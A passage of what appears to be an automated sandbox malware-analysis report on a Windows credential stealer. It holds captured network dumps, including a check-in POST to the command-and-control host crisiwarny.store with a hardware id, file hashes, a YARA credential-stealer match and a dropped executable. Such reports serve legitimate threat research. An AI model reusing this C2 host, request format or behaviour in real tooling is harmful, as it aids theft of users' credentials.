de b1 2c 9f 7a 2d 5c bf 91 19 b8 f9 56 44 c6 ce 88 fd 3d eb ab f9 b8 f6 e0 d8 b0 43 Data Ascii: ogkV\{Z5 7Msu~k!+Mgj4>p(K\|N,Kc5eW_f-K\|2T*i8V[MuC5> DuKC/wHE[!z)CUpeqbXTa{%^e<K-ICS1^37 dF(,z-\VD=C
2024-10-28 06:18:35 UTC	15331	OUT	Data Raw: f4 75 d9 b8 3b ad 78 af 6a 14 fd 9e c0 0f 08 cb c2 ac 63 64 b0 93 e6 58 0b 0c 8b 2a 3a d2 fd f5 c4 bc ed 46 5d c1 93 ac f4 48 43 a0 8f 30 31 7c ce a4 3c 0a 22 cc 0c 3b 0e 53 55 d7 d7 7f 16 d4 ba 4d 86 48 48 8d a4 3f 3c 53 4b 2e 01 48 c4 d9 d2 fa 8c 2b 05 57 49 84 c8 13 49 08 b5 43 38 2a 93 2c 17 e3 51 ba c2 fc 36 f7 ba 74 f0 b7 51 f8 b1 ff af 04 52 13 99 e5 7f fa 3d 76 79 ce c2 ed f0 7f 65 41 c2 5e f1 cf 48 88 5a f0 46 53 20 ef 2b 94 f5 35 92 91 b3 53 11 b7 7f 85 d5 e2 f1 f5 fd ef 61 ac 88 5a cf 76 17 6a ca 43 3e d1 fd 26 71 c7 b1 78 3f 32 58 6b 3b ad 00 a0 0a 82 54 6a 18 93 d8 73 20 e8 0a bf a2 f4 04 85 7e 98 ff fb 09 13 24 7e 05 35 cd 97 55 18 e9 66 ac b3 1f 68 06 a4 df c1 d9 9e 76 96 34 c3 90 06 e8 ba 96 d5 e1 10 0c 21 70 dd 2a ad a3 86 64 f9 03 4b 3e Data Ascii: u;xjcdX:F]HC01\|<";SUMHH?<SK.H+WIIC8,Q6tQR=vyeA^HZFS +5SaZvjC>&qx?2Xk;Tjs ~$~5Ufhv4!p*dK>
2024-10-28 06:18:35 UTC	15331	OUT	Data Raw: 31 f1 f3 8d cf e5 b2 e5 97 21 57 da b7 06 0c 45 bc b8 f4 3f 4c bb 38 d3 ef 0d 18 1b c8 ff b6 1b fc 26 fd 9f cd 26 99 18 78 37 a9 f3 90 7e 7f d3 69 1a 9d 41 3c f5 80 ad d5 40 9a a7 30 9a 4c 82 4a 38 26 5e 74 73 45 98 81 2f 76 7a 68 9b d8 44 2b c4 4f f8 ac 05 a4 8c 09 94 c9 5b e3 f6 0c d4 fb 58 93 37 4a b8 f9 e1 e3 8f 2d 98 ae 38 6a ee 62 96 1c 1e 5f 7e 0b e0 23 2a 60 87 15 6b 16 b1 f2 73 3f df b7 b1 8a 76 fb fd 26 b4 7d f8 8e 2a df bc 7e a7 ab 09 48 be 82 dd ba f4 3a b8 f0 b8 b6 37 5f 82 af 01 f6 41 e6 80 06 5b 54 5a 10 05 c2 7b 61 d3 e2 95 b6 35 59 8b 27 bd 9e 23 bc c3 15 53 f8 ec 55 71 6b 63 b4 fe 68 07 03 73 c0 a8 14 82 bc df df 98 66 61 40 ce c3 43 24 14 cd a9 23 c2 d3 ee 69 05 6e 72 f6 11 27 21 9e 9a bb 4e 6a 2b 68 33 d4 53 65 b3 92 d2 08 28 90 a3 28 Data Ascii: 1!WE?L8&&x7~iA<@0LJ8&^tsE/vzhD+O[X7J-8jb_~#`ks?v&}~H:7_A[TZ{a5Y'#SUqkchsfa@C$#inr'!Nj+h3Se((
2024-10-28 06:18:39 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 06:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s91umq5qh990hrdlvmnn8a059u; expires=Fri, 21 Feb 2025 00:05:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UKrxaZn6wKIsH3ynOie9G0WNYH2OmF2Grp4cq4%2FbzPfzrUyMStjYRXhl4oUtvtGk8hsFnYZ3bNBVZQZk%2BvpgGvVw9m88eCObYQ4%2BGB%2B5VNloT56wStDaVpxoFOcMCaS239P3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d98cf364e452c85-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1089&sent=211&recv=605&lost=0&retrans=0&sent_bytes=2838&recv_bytes=572240&delivery_rate=2637522&cwnd=251&unsent_bytes=0&cid=4d95a127ce12947e&ts=3635&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49713	104.21.95.91	443	4936	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 06:18:40 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-28 06:18:40 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 36 31 34 37 31 44 36 30 41 37 35 43 42 41 34 41 44 33 36 41 33 30 30 35 34 38 38 31 33 33 36 43 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=61471D60A75CBA4AD36A30054881336C
2024-10-28 06:18:41 UTC	1009	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 06:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8ud1cchqbca7mji6vbjq2lqv0p; expires=Fri, 21 Feb 2025 00:05:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1eVOxvJt7SloxysjrLjlh97cSsfuAnVWjDrOhFSm822qHw0eu6vmPZm2ugmzWA0AQKYYzNOW%2FPKq9UT6DsiqCm7r%2FXiWdUfum69BWRuGx2hB%2BgLToGQZuFR%2Bwtv3CHiRWtMF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d98cf50d8d3e6fe-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1371&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=987&delivery_rate=2067094&cwnd=37&unsent_bytes=0&cid=9741d6a2ed471449&ts=1177&x=0"
2024-10-28 06:18:41 UTC	130	IN	Data Raw: 37 63 0d 0a 66 32 69 34 35 4e 79 54 36 38 56 47 32 31 54 68 7a 65 45 42 4c 39 7a 6e 56 47 7a 6a 63 59 71 4a 4d 37 56 74 68 55 47 71 54 4b 6f 6b 45 35 71 52 2f 71 6e 4a 72 54 4b 76 4a 4e 75 52 7a 6c 30 41 37 64 39 68 51 74 46 41 76 36 63 43 68 46 36 72 63 4a 77 51 68 52 41 4f 33 72 6a 7a 39 34 36 6a 61 4c 34 73 68 4f 2f 4e 49 30 6d 6f 78 57 35 63 7a 31 50 76 71 77 6d 46 45 4e 67 3d 0d 0a Data Ascii: 7cf2i45NyT68VG21ThzeEBL9znVGzjcYqJM7VthUGqTKokE5qR/qnJrTKvJNuRzl0A7d9hQtFAv6cChF6rcJwQhRAO3rjz946jaL4shO/NI0moxW5cz1PvqwmFENg=
2024-10-28 06:18:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:18:22
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x870000
File size:	2'958'336 bytes
MD5 hash:	65397ED2AE0567709B177F41D0668597
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1566660244.0000000000E00000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:18:47
Start date:	28/10/2024
Path:	C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe"
Imagebase:	0x550000
File size:	2'869'760 bytes
MD5 hash:	89595DF1365EF9A4D1CB06E2E56DE5E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	60.6%
Total number of Nodes:	213
Total number of Limit Nodes:	17

Executed Functions

Function 0087EC20 Relevance: 20.4, Strings: 16, Instructions: 397
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jabc, xrefs: 0087ED8F
6, xrefs: 0087EE5D
&A-C, xrefs: 0087ED4F
eI?K, xrefs: 0087ED5F
I)^+, xrefs: 0087ED1F
E-A/, xrefs: 0087ED27
5Q<S, xrefs: 0087ED6F
8]S_, xrefs: 0087ED87
<Y?[, xrefs: 0087ED7F
P!N#, xrefs: 0087ED0F
M%E', xrefs: 0087ED17
dc, xrefs: 0087EDC0
>M"O, xrefs: 0087ED67
7U9W, xrefs: 0087ED77
O9M;, xrefs: 0087ED3F
6E+G, xrefs: 0087ED57

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID:
String ID: &A-C$5Q<S$6$6E+G$7U9W$8]S_$<Y?[$>M"O$E-A/$I)^+$M%E'$O9M;$P!N#$dc$eI?K$jabc
API String ID: 0-600622405
Opcode ID: c189bb82f972a0bdbf2679a895d9aa44411821bf10955d9cde5d1694fcb07caa
Instruction ID: 22fef9200174e231743aff6683ed81cfd133281d2615c2ba010e22039a40f049
Opcode Fuzzy Hash: c189bb82f972a0bdbf2679a895d9aa44411821bf10955d9cde5d1694fcb07caa
Instruction Fuzzy Hash: 38D1F17160C3918BC324CF25D4903ABBBE2EBD5308F18C96DE5D98B356D775C90A8B92

Function 00880460 Relevance: 11.7, Strings: 9, Instructions: 454
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

+e(c, xrefs: 00880576
y)v', xrefs: 008804CA
v%r#, xrefs: 008804D2
g!~_, xrefs: 008804DA
yw, xrefs: 0088053F
!m%k, xrefs: 00880560
crisiwarny.store, xrefs: 00880778
@-+, xrefs: 008804C2
#i4g, xrefs: 0088056B

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID:
String ID: !m%k$#i4g$+e(c$@-+$crisiwarny.store$g!~_$v%r#$y)v'$yw
API String ID: 0-2828184888
Opcode ID: 5c7339d580ddc57421b073c952d68b073f2793b67ecca346df54a4aaa83c36ca
Instruction ID: 9b897cc0728c49bfbe4e2b8e899903649a80a268714f432178849502816ae653
Opcode Fuzzy Hash: 5c7339d580ddc57421b073c952d68b073f2793b67ecca346df54a4aaa83c36ca
Instruction Fuzzy Hash: 56F176B111C3819FE3249F64DC947ABBBE4FB85300F108A2CEAD99B251D7798845CF92

Function 008979B0 Relevance: 8.0, Strings: 6, Instructions: 507
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Dw, xrefs: 00897CAF
Mx, xrefs: 00897E14
DG, xrefs: 00897C9F
qVw, xrefs: 00897F66
wE, xrefs: 00897E0C
n~, xrefs: 00897C97

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724121123.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724168291.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724186447.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724205232.0000000000B47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724223718.0000000000B49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724245108.0000000000B5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724265045.0000000000B5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B5E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724283723.0000000000B64000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724322483.0000000000B72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724341878.0000000000B73000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Similarity

API ID:
String ID: DG$Dw$Mx$n~$wE$qVw
API String ID: 0-1111290910
Opcode ID: bcbd45abd12629b142d1fb11c7cc382b3610d47d0cba588bc54a32987abd9553
Instruction ID: 7c33cdef19696095a7d7d9f86dcb0ddf499044f4cf5ccd082ee8ac5e63f7bfcf
Opcode Fuzzy Hash: bcbd45abd12629b142d1fb11c7cc382b3610d47d0cba588bc54a32987abd9553
Instruction Fuzzy Hash: C3F1BBB16183408FD714DF28D89166BBBE1FF96714F088A2CF4958B391E7788906CB93

Function 0087F755 Relevance: 8.0, Strings: 6, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

>kjm, xrefs: 0087FEAC
Jg3i, xrefs: 0087FEA2
i#E%, xrefs: 0087FDF8
S;W=, xrefs: 0087FDE4
5c;e, xrefs: 0087FE98
A'K), xrefs: 0087FE02

Memory Dump Source

Source File: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.1723197918.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723250589.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723269562.00000000008D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723285160.00000000008D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723300029.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723397634.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723415099.0000000000A36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723433409.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723467872.0000000000A59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723483859.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723500035.0000000000A65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723517338.0000000000A6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723809098.0000000000A8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723828156.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723845372.0000000000A8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723864274.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723885621.0000000000AAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723904125.0000000000AB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723922482.0000000000ABA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723940253.0000000000ABF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723957672.0000000000AC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723973850.0000000000AC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1723990319.0000000000ACF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724009256.0000000000AD0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724027928.0000000000AD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724045083.0000000000AE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724064498.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724081220.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724102450.0000000000B01000.00000080.00000001.01000000.00000003.sdmpDownload File
